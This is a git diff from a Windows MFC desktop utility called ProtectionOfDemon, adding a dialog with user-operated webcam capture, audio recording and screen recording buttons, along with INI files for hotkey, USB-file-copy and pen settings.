+ HWND hButtonSourceDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_SOURCEDLG);
+ HWND hButtonCompressDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_COMPRESSDLG);
+ HWND hButtonFreezeWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_FREEZE);
+ HWND hButtonFrameWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_FRAMECAPTURE);
+ HWND hEditWnd = ::GetDlgItem(m_hWnd, IDC_STATIC_VIDEO_INFO);
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hButtonCaptureWnd, FALSE);
+ ::EnableWindow(hButtonDisplayDlgWnd, FALSE);
+ ::EnableWindow(hButtonFormatDlgWnd, FALSE);
+ ::EnableWindow(hButtonSourceDlgWnd, FALSE);
+ ::EnableWindow(hButtonCompressDlgWnd, FALSE);
+ ::EnableWindow(hButtonFreezeWnd, FALSE);
+ ::EnableWindow(hButtonFrameWnd, FALSE);
+ ::SetWindowText(hEditWnd, "");
+
+ typedef_ExitVideoRecord ExitVideoRecord = (typedef_ExitVideoRecord)::GetProcAddress(g_VideoRecordDll, "ExitVideoRecord");
+ if (NULL == ExitVideoRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ ExitVideoRecord();
+ // 释放
+ ::FreeLibrary(g_VideoRecordDll);
+
+ // 显示信息
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, "");
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hButtonCaptureWnd, TRUE);
+ ::EnableWindow(hButtonDisplayDlgWnd, TRUE);
+ ::EnableWindow(hButtonFormatDlgWnd, TRUE);
+ ::EnableWindow(hButtonSourceDlgWnd, TRUE);
+ ::EnableWindow(hButtonCompressDlgWnd, TRUE);
+ ::EnableWindow(hButtonFreezeWnd, TRUE);
+ ::EnableWindow(hButtonFrameWnd, TRUE);
+ ::SetWindowText(hEditWnd, "");
+
+ g_VideoRecordDll = ::LoadLibrary(VIDEORECORDDLL);
+ if (NULL == g_VideoRecordDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+ typedef_VideoRecordInit VideoRecordInit = (typedef_VideoRecordInit)::GetProcAddress(g_VideoRecordDll, "VideoRecordInit");
+ if (NULL == VideoRecordInit)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ VideoRecordInit(m_hWnd, IDC_STATIC_VIDEO, TRUE, 20);
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Video Init");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+ }
+}
+
+
+void CVideoDlg::OnBnClickedButtonVideorecordCapture()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ HWND hButtonDisplayDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_DISPLAYDLG);
+ HWND hButtonFormatDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_FORMATDLG);
+ HWND hButtonSourceDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_SOURCEDLG);
+ HWND hButtonCompressDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_COMPRESSDLG);
+ HWND hButtonFreezeWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_FREEZE);
+ HWND hButtonFrameWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_FRAMECAPTURE);
+
+ char szWindowText[MAX_PATH] = {0};
+ HWND hButtonCaptureWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_CAPTURE);
+ ::GetWindowText(hButtonCaptureWnd, szWindowText, MAX_PATH);
+ if (0 == ::lstrcmpi(szWindowText, "Capture"))
+ {
+ // 设置控件显示文字
+ ::SetWindowText(hButtonCaptureWnd, "Stop");
+ // 获取选择的存储路径
+ char szSaveFileName[MAX_PATH] = { 0 };
+ OPENFILENAME stOF = { 0 };
+ ::RtlZeroMemory(&stOF, sizeof(stOF));
+ stOF.lStructSize = sizeof(stOF);
+ stOF.lpstrFilter = "avi files(*.avi)\0*.avi\0all files(*.*)\0*.*\0\0";
+ stOF.lpstrFile = szSaveFileName;
+ stOF.nMaxFile = MAX_PATH;
+ stOF.lpstrDefExt = "123";
+ ::GetSaveFileName(&stOF);
+ if (0 < ::lstrlen(szSaveFileName))
+ {
+ // 开始捕获
+ typedef_StartVideoRecord StartVideoRecord = (typedef_StartVideoRecord)::GetProcAddress(g_VideoRecordDll, "StartVideoRecord");
+ if (NULL == StartVideoRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ StartVideoRecord(szSaveFileName, 0);
+
+ // 显示信息
+ g_uVideoRecordTime = 0;
+ // 设置显示定时器
+ ::SetTimer(m_hWnd, 1, 1000, NULL);
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s %ds", "Captureing...", g_uVideoRecordTime);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+ // 灰化
+ ::EnableWindow(hButtonDisplayDlgWnd, FALSE);
+ ::EnableWindow(hButtonFormatDlgWnd, FALSE);
+ ::EnableWindow(hButtonSourceDlgWnd, FALSE);
+ ::EnableWindow(hButtonCompressDlgWnd, FALSE);
+ ::EnableWindow(hButtonFreezeWnd, FALSE);
+ ::EnableWindow(hButtonFrameWnd, FALSE);
+ }
+ }
+ else
+ {
+ // 设置控件显示文字
+ ::SetWindowText(hButtonCaptureWnd, "Capture");
+ // 停止捕获
+ typedef_StopVideoRecord StopVideoRecord = (typedef_StopVideoRecord)::GetProcAddress(g_VideoRecordDll, "StopVideoRecord");
+ if (NULL == StopVideoRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ StopVideoRecord();
+
+ // 显示信息
+ // 结束显示定时器
+ ::KillTimer(m_hWnd, 1);
+ Sleep(200);
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK. %ds", "Stop Capture", g_uVideoRecordTime);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+ // 恢复灰化
+ ::EnableWindow(hButtonDisplayDlgWnd, TRUE);
+ ::EnableWindow(hButtonFormatDlgWnd, TRUE);
+ ::EnableWindow(hButtonSourceDlgWnd, TRUE);
+ ::EnableWindow(hButtonCompressDlgWnd, TRUE);
+ ::EnableWindow(hButtonFreezeWnd, TRUE);
+ ::EnableWindow(hButtonFrameWnd, TRUE);
+ }
+}
+
+
+void CVideoDlg::OnBnClickedButtonVideorecordDisplaydlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 显示Display窗口
+ typedef_VideoRecordDisplayDlg VideoRecordDisplayDlg = (typedef_VideoRecordDisplayDlg)::GetProcAddress(g_VideoRecordDll, "VideoRecordDisplayDlg");
+ if (NULL == VideoRecordDisplayDlg)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ VideoRecordDisplayDlg();
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Display Dlg");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+}
+
+
+void CVideoDlg::OnBnClickedButtonVideorecordFormatdlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 显示Format窗口
+ typedef_VideoRecordFormatDlg VideoRecordFormatDlg = (typedef_VideoRecordFormatDlg)::GetProcAddress(g_VideoRecordDll, "VideoRecordFormatDlg");
+ if (NULL == VideoRecordFormatDlg)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ VideoRecordFormatDlg();
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Format Dlg");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+}
+
+
+void CVideoDlg::OnBnClickedButtonVideorecordSourcedlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 显示Source窗口
+ typedef_VideoRecordSourceDlg VideoRecordSourceDlg = (typedef_VideoRecordSourceDlg)::GetProcAddress(g_VideoRecordDll, "VideoRecordSourceDlg");
+ if (NULL == VideoRecordSourceDlg)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ VideoRecordSourceDlg();
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Source Dlg");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+}
+
+
+void CVideoDlg::OnBnClickedButtonVideorecordCompressdlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 显示Source窗口
+ typedef_VideoRecordCompressDlg VideoRecordCompressDlg = (typedef_VideoRecordCompressDlg)::GetProcAddress(g_VideoRecordDll, "VideoRecordCompressDlg");
+ if (NULL == VideoRecordCompressDlg)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ VideoRecordCompressDlg();
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Compress Dlg");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+}
+
+
+void CVideoDlg::OnBnClickedButtonVideorecordFreeze()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ typedef_VideoRecordSetFreeze VideoRecordSetFreeze = (typedef_VideoRecordSetFreeze)::GetProcAddress(g_VideoRecordDll, "VideoRecordSetFreeze");
+ if (NULL == VideoRecordSetFreeze)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ HWND hButtonFreezeWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_FREEZE);
+ char szWindowText[MAX_PATH] = {0};
+ ::GetWindowText(hButtonFreezeWnd, szWindowText, MAX_PATH);
+ if (0 == ::lstrcmpi(szWindowText, "Freeze"))
+ {
+ // 设置控件显示文字
+ ::SetWindowText(hButtonFreezeWnd, "Unfreeze");
+ // 设置
+ VideoRecordSetFreeze(TRUE);
+ }
+ else
+ {
+ // 设置控件显示文字
+ ::SetWindowText(hButtonFreezeWnd, "Freeze");
+ // 设置
+ VideoRecordSetFreeze(FALSE);
+ }
+
+ // 显示信息
+ char szInfo[MAX_PATH] = {0};
+ ::wsprintf(szInfo, "%s OK.", szWindowText);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+}
+
+
+void CVideoDlg::OnBnClickedButtonVideorecordFramecapture()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 获取文件存储路径
+ char szFileName[MAX_PATH] = {0};
+ OPENFILENAME stOF = { 0 };
+ ::RtlZeroMemory(&stOF, sizeof(stOF));
+ stOF.lStructSize = sizeof(stOF);
+ stOF.lpstrFilter = "jpg files(*.jpg)\0*.jpg\0png files(*.png)\0*.png\0bmp files(*.bmp)\0*.bmp\0all files(*.*)\0*.*\0\0";
+ stOF.lpstrFile = szFileName;
+ stOF.nMaxFile = MAX_PATH;
+ stOF.lpstrDefExt = "123";
+ ::GetSaveFileName(&stOF);
+ if (0 < ::lstrlen(szFileName))
+ {
+ // 设置
+ typedef_VideoRecordCaptureFrame VideoRecordCaptureFrame = (typedef_VideoRecordCaptureFrame)::GetProcAddress(g_VideoRecordDll, "VideoRecordCaptureFrame");
+ if (NULL == VideoRecordCaptureFrame)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ VideoRecordCaptureFrame(szFileName);
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Frame Capture");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+ }
+}
+
+
+void CVideoDlg::OnTimer(UINT_PTR nIDEvent)
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ switch (nIDEvent)
+ {
+ case 1:
+ {
+ // 显示视频捕获的时间
+ ShowVideoRecordTime();
+ break;
+ }
+ case 2:
+ {
+ // 显示声音捕获的时间
+ ShowSoundRecordTime();
+ break;
+ }
+ case 3:
+ {
+ // 显示屏幕捕获的时间
+ ShowScreenRecordTime();
+ break;
+ }
+ default:
+ break;
+ }
+
+ CDialogEx::OnTimer(nIDEvent);
+}
+
+
+void CVideoDlg::ShowVideoRecordTime()
+{
+ g_uVideoRecordTime++;
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s %ds", "Captureing...", g_uVideoRecordTime);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_VIDEO_INFO, szInfo);
+}
+
+
+void CVideoDlg::ShowSoundRecordTime()
+{
+ g_uSoundRecordTime++;
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s %ds", "Listening...", g_uSoundRecordTime);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SOUND_INFO, szInfo);
+}
+
+
+void CVideoDlg::ShowScreenRecordTime()
+{
+ g_uScreenRecordTime++;
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s %ds", "Time: ", g_uScreenRecordTime);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SCRENN_RECORD_AVI_TIME, szInfo);
+}
+
+
+void CVideoDlg::OnBnClickedCheckSoundrecordOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_SoundRecordOnOffCheck.GetCheck();
+ HWND hButtonStartWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SOUNDRECORD_RECORD);
+ HWND hButtonPlayWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SOUNDRECORD_PLAY);
+ HWND hEditWnd = ::GetDlgItem(m_hWnd, IDC_STATIC_SOUND_INFO);
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hButtonStartWnd, FALSE);
+ ::EnableWindow(hButtonPlayWnd, FALSE);
+ ::SetWindowText(hEditWnd, "");
+
+ typedef_ExitSoundRecord ExitSoundRecord = (typedef_ExitSoundRecord)::GetProcAddress(g_SoundRecordDll, "ExitSoundRecord");
+ if (NULL == ExitSoundRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ ExitSoundRecord();
+ // 释放
+ ::FreeLibrary(g_SoundRecordDll);
+
+ // 显示信息
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SOUND_INFO, "");
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hButtonStartWnd, TRUE);
+ ::EnableWindow(hButtonPlayWnd, TRUE);
+ ::SetWindowText(hEditWnd, "");
+
+ g_SoundRecordDll = ::LoadLibrary(SOUNDRECORDDLL);
+ if (NULL == g_SoundRecordDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Sound Init");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SOUND_INFO, szInfo);
+ }
+}
+
+
+void CVideoDlg::OnBnClickedButtonSoundrecordRecord()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ HWND hButtonStartWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SOUNDRECORD_RECORD);
+ HWND hButtonPlayWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SOUNDRECORD_PLAY);
+
+ char szWindowText[MAX_PATH] = { 0 };
+ ::GetWindowText(hButtonStartWnd, szWindowText, MAX_PATH);
+ if (0 == ::lstrcmpi(szWindowText, "Listen"))
+ {
+ // 设置控件显示文字
+ ::SetWindowText(hButtonStartWnd, "Stop");
+
+ // 开始捕获
+ typedef_StartSoundRecord StartSoundRecord = (typedef_StartSoundRecord)::GetProcAddress(g_SoundRecordDll, "StartSoundRecord");
+ if (NULL == StartSoundRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ StartSoundRecord(m_hWnd);
+
+ // 显示信息
+ g_uSoundRecordTime = 0;
+ // 设置显示定时器
+ ::SetTimer(m_hWnd, 2, 1000, NULL);
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s %ds", "Listening...", g_uSoundRecordTime);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SOUND_INFO, szInfo);
+ // 灰化
+ ::EnableWindow(hButtonPlayWnd, FALSE);
+
+ }
+ else
+ {
+ // 设置控件显示文字
+ ::SetWindowText(hButtonStartWnd, "Listen");
+ // 停止捕获
+ typedef_StopSoundRecord StopSoundRecord = (typedef_StopSoundRecord)::GetProcAddress(g_SoundRecordDll, "StopSoundRecord");
+ if (NULL == StopSoundRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 获取存储路径
+ char szFileName[MAX_PATH] = { 0 };
+ OPENFILENAME stOF = { 0 };
+ ::RtlZeroMemory(&stOF, sizeof(OPENFILENAME));
+ stOF.lStructSize = sizeof(OPENFILENAME);
+ stOF.lpstrFilter = "wav files(*.wav)\0*.wav\0all files(*.*)\0*.*\0\0";
+ stOF.lpstrFile = szFileName;
+ stOF.lpstrDefExt = "wav";
+ stOF.nMaxFile = MAX_PATH;
+ ::GetSaveFileName(&stOF);
+ // 调用函数
+ StopSoundRecord(szFileName);
+
+ // 显示信息
+ // 结束显示定时器
+ ::KillTimer(m_hWnd, 2);
+ Sleep(200);
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK. %ds", "Stop Listen", g_uSoundRecordTime);
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SOUND_INFO, szInfo);
+ // 恢复灰化
+ ::EnableWindow(hButtonPlayWnd, TRUE);
+ }
+}
+
+
+void CVideoDlg::OnBnClickedButtonSoundrecordPlay()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 获取按钮句柄
+ char szText[MAX_PATH] = {0};
+ char szInfo[MAX_PATH] = { 0 };
+ HWND hWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SOUNDRECORD_PLAY);
+ ::GetWindowText(hWnd, szText, MAX_PATH);
+ // 从DLL中获取导出函数
+ typedef_PlaySoundRecord PlaySoundRecord = (typedef_PlaySoundRecord)::GetProcAddress(g_SoundRecordDll, "PlaySoundRecord");
+ if (NULL == PlaySoundRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+
+ if (0 == ::lstrcmp(szText, "Play"))
+ {
+ // 播放
+ PlaySoundRecord(TRUE);
+ ::wsprintf(szInfo, "%s", "Playing...");
+ ::SetWindowText(hWnd, "Stop Play");
+ }
+ else
+ {
+ // 停止播放
+ PlaySoundRecord(FALSE);
+ ::wsprintf(szInfo, "%s", "Stop Play!");
+ ::SetWindowText(hWnd, "Play");
+ }
+ // 显示信息
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SOUND_INFO, szInfo);
+}
+
+
+void CVideoDlg::OnBnClickedCheckScreenRecordAviOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_ScreenRecordAviOnOff.GetCheck();
+ HWND hButtonStartWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SCRENN_RECORD_AVI_START);
+
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hButtonStartWnd, FALSE);
+
+ // 释放
+ ::FreeLibrary(g_ScreenRecordAviDll);
+
+ // 显示信息
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SCRENN_RECORD_AVI_TIME, "");
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hButtonStartWnd, TRUE);
+
+ g_ScreenRecordAviDll = ::LoadLibrary(SCREENRECORDAVIDLL);
+ if (NULL == g_ScreenRecordAviDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+
+ // 显示信息
+ char szInfo[MAX_PATH] = { 0 };
+ ::wsprintf(szInfo, "%s OK.", "Init");
+ ShowCtrlInfo(m_hWnd, IDC_STATIC_SCRENN_RECORD_AVI_TIME, szInfo);
+ }
+}
+
+
+void CVideoDlg::GetSaveFilePath(char *lpszFileName)
+{
+ char szFileName[MAX_PATH] = { 0 };
+ OPENFILENAME stOF = {0};
+ stOF.lStructSize = sizeof(stOF);
+ stOF.lpstrFilter = "avi files(*.avi)\0*.avi\0all files(*.*)\0*.*\0\0";
+ stOF.lpstrFile = szFileName;
+ stOF.nMaxFile = MAX_PATH;
+ stOF.lpstrDefExt = "avi";
+ ::GetSaveFileName(&stOF);
+
+ ::lstrcpy(lpszFileName, szFileName);
+}
+
+
+void CVideoDlg::OnBnClickedButtonScrennRecordAviStart()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ char szText[MAX_PATH] = {0};
+ HWND hWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SCRENN_RECORD_AVI_START);
+ ::GetWindowText(hWnd, szText, MAX_PATH);
+
+ if (0 == ::lstrcmpi("Start", szText))
+ {
+ // 开始录制
+ typedef_ScreenRecordAvi_Start ScreenRecordAvi_Start = (typedef_ScreenRecordAvi_Start)::GetProcAddress(g_ScreenRecordAviDll, "ScreenRecordAvi_Start");
+ if (NULL == ScreenRecordAvi_Start)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 获取存储路径
+ char szFileName[MAX_PATH] = {0};
+ GetSaveFilePath(szFileName);
+
+ if (0 < ::lstrlen(szFileName))
+ {
+ if (ScreenRecordAvi_Start(szFileName))
+ {
+ // 设置定时器
+ g_uScreenRecordTime = 0;
+ ::SetTimer(m_hWnd, 3, 1000, NULL);
+ // 设置文字
+ ::SetWindowText(hWnd, "Stop");
+ }
+ }
+ }
+ else
+ {
+ // 停止录制
+ typedef_ScreenRecordAvi_Stop ScreenRecordAvi_Stop = (typedef_ScreenRecordAvi_Stop)::GetProcAddress(g_ScreenRecordAviDll, "ScreenRecordAvi_Stop");
+ if (NULL == ScreenRecordAvi_Stop)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ ScreenRecordAvi_Stop();
+ // 停止定时器
+ ::KillTimer(m_hWnd, 3);
+ // 设置文字
+ ::SetWindowText(hWnd, "Start");
+ }
+}
diff --git a/ProtectionOfDemon/ProtectionOfDemon/VideoDlg.h b/ProtectionOfDemon/ProtectionOfDemon/VideoDlg.h
new file mode 100644
index 0000000..addb6cf
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/VideoDlg.h
@@ -0,0 +1,48 @@
+#pragma once
+#include "afxwin.h"
+
+
+// CVideoDlg 对话框
+
+class CVideoDlg : public CDialogEx
+{
+ DECLARE_DYNAMIC(CVideoDlg)
+public:
+ void ShowVideoRecordTime();
+ void ShowSoundRecordTime();
+ void ShowScreenRecordTime();
+
+ void GetSaveFilePath(char *lpszFileName);
+
+public:
+ CVideoDlg(CWnd* pParent = NULL); // 标准构造函数
+ virtual ~CVideoDlg();
+
+// 对话框数据
+ enum { IDD = IDD_DIALOG_VIDEO };
+
+protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
+
+ DECLARE_MESSAGE_MAP()
+public:
+ afx_msg void OnBnClickedCheckVideorecordOnoff();
+ CButton m_VideoRecordOnOffCheck;
+ CButton m_SoundRecordOnOffCheck;
+ afx_msg void OnBnClickedButtonVideorecordCapture();
+ afx_msg void OnBnClickedButtonVideorecordDisplaydlg();
+ afx_msg void OnBnClickedButtonVideorecordFormatdlg();
+ afx_msg void OnBnClickedButtonVideorecordSourcedlg();
+ afx_msg void OnBnClickedButtonVideorecordCompressdlg();
+ afx_msg void OnBnClickedButtonVideorecordFreeze();
+ afx_msg void OnBnClickedButtonVideorecordFramecapture();
+ afx_msg void OnTimer(UINT_PTR nIDEvent);
+ afx_msg void OnBnClickedCheckSoundrecordOnoff();
+ afx_msg void OnBnClickedButtonSoundrecordRecord();
+ afx_msg void OnBnClickedButtonSoundrecordPlay();
+ afx_msg void OnIdok();
+ virtual BOOL OnInitDialog();
+ afx_msg void OnBnClickedCheckScreenRecordAviOnoff();
+ afx_msg void OnBnClickedButtonScrennRecordAviStart();
+ CButton m_ScreenRecordAviOnOff;
+};
diff --git a/ProtectionOfDemon/ProtectionOfDemon/protectionofdemonconfig.ini b/ProtectionOfDemon/ProtectionOfDemon/protectionofdemonconfig.ini
new file mode 100644
index 0000000..5923164
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/protectionofdemonconfig.ini
@@ -0,0 +1,15 @@
+[SCREEN CAPTURE]
+Modifiers=6
+Virtual Key=65
+[SCREEN RECORD]
+Elapse Time=0
+[UDISK RECORD]
+All Files=1
+Jpg=1
+Doc=1
+Mp4=1
+Save Directory=C:\Users\Demon\Desktop
+Exl=1
+Exe=1
+Mp3=1
+Ppt=1
diff --git a/ProtectionOfDemon/ProtectionOfDemon/res/ProtectionOfDemon.rc2 b/ProtectionOfDemon/ProtectionOfDemon/res/ProtectionOfDemon.rc2
new file mode 100644
index 0000000..b6826bc
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/res/ProtectionOfDemon.rc2 differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/res/demon64X64.ico b/ProtectionOfDemon/ProtectionOfDemon/res/demon64X64.ico
new file mode 100644
index 0000000..f68e335
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/res/demon64X64.ico differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/resource.h b/ProtectionOfDemon/ProtectionOfDemon/resource.h
new file mode 100644
index 0000000..50f03b8
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/resource.h differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/screencaptureconfig.ini b/ProtectionOfDemon/ProtectionOfDemon/screencaptureconfig.ini
new file mode 100644
index 0000000..0638480
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/screencaptureconfig.ini
@@ -0,0 +1,5 @@
+[PEN SETTING]
+Sort=1
+Style=0
+Width=10
+Color=255
diff --git a/ProtectionOfDemon/ProtectionOfDemon/stdafx.cpp b/ProtectionOfDemon/ProtectionOfDemon/stdafx.cpp
new file mode 100644
index 0000000..0102b8f
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/stdafx.cpp
@@ -0,0 +1,8 @@
+
+// stdafx.cpp : 只包括标准包含文件的源文件
+// ProtectionOfDemon.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+
diff --git a/ProtectionOfDemon/ProtectionOfDemon/stdafx.h b/ProtectionOfDemon/ProtectionOfDemon/stdafx.h
new file mode 100644
index 0000000..e65d5b2
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/stdafx.h
@@ -0,0 +1,54 @@
+
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+
+#pragma once
+
+#ifndef VC_EXTRALEAN
+#define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料
+#endif
+
+#include "targetver.h"
+
+
+
+#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的
+
+// 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏
+#define _AFX_ALL_WARNINGS
+
+#include // MFC 核心组件和标准组件
+#include // MFC 扩展
+
+
+#include // MFC 自动化类
+
+
+#ifndef _AFX_NO_OLE_SUPPORT
+#include // MFC 对 Internet Explorer 4 公共控件的支持
+#endif
+#ifndef _AFX_NO_AFXCMN_SUPPORT
+#include // MFC 对 Windows 公共控件的支持
+#endif // _AFX_NO_AFXCMN_SUPPORT
+
+#include // 功能区和控件条的 MFC 支持
+
+
+#include // MFC 套接字扩展
+
+#ifdef _UNICODE
+#if defined _M_IX86
+#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
+#elif defined _M_X64
+#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
+#else
+#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
+#endif
+
+
+
+#endif
+
+
+
diff --git a/ProtectionOfDemon/ProtectionOfDemon/targetver.h b/ProtectionOfDemon/ProtectionOfDemon/targetver.h
new file mode 100644
index 0000000..d1607a9
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/targetver.h
@@ -0,0 +1,9 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义最高版本的可用 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
+
diff --git a/ProtectionOfDemon/Release/Skins/AlphaOS.ssk b/ProtectionOfDemon/Release/Skins/AlphaOS.ssk
new file mode 100644
index 0000000..1a4eafc
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/AlphaOS.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Anion.ssk b/ProtectionOfDemon/Release/Skins/Anion.ssk
new file mode 100644
index 0000000..68204e4
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Anion.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/AquaOS.ssk b/ProtectionOfDemon/Release/Skins/AquaOS.ssk
new file mode 100644
index 0000000..ce38836
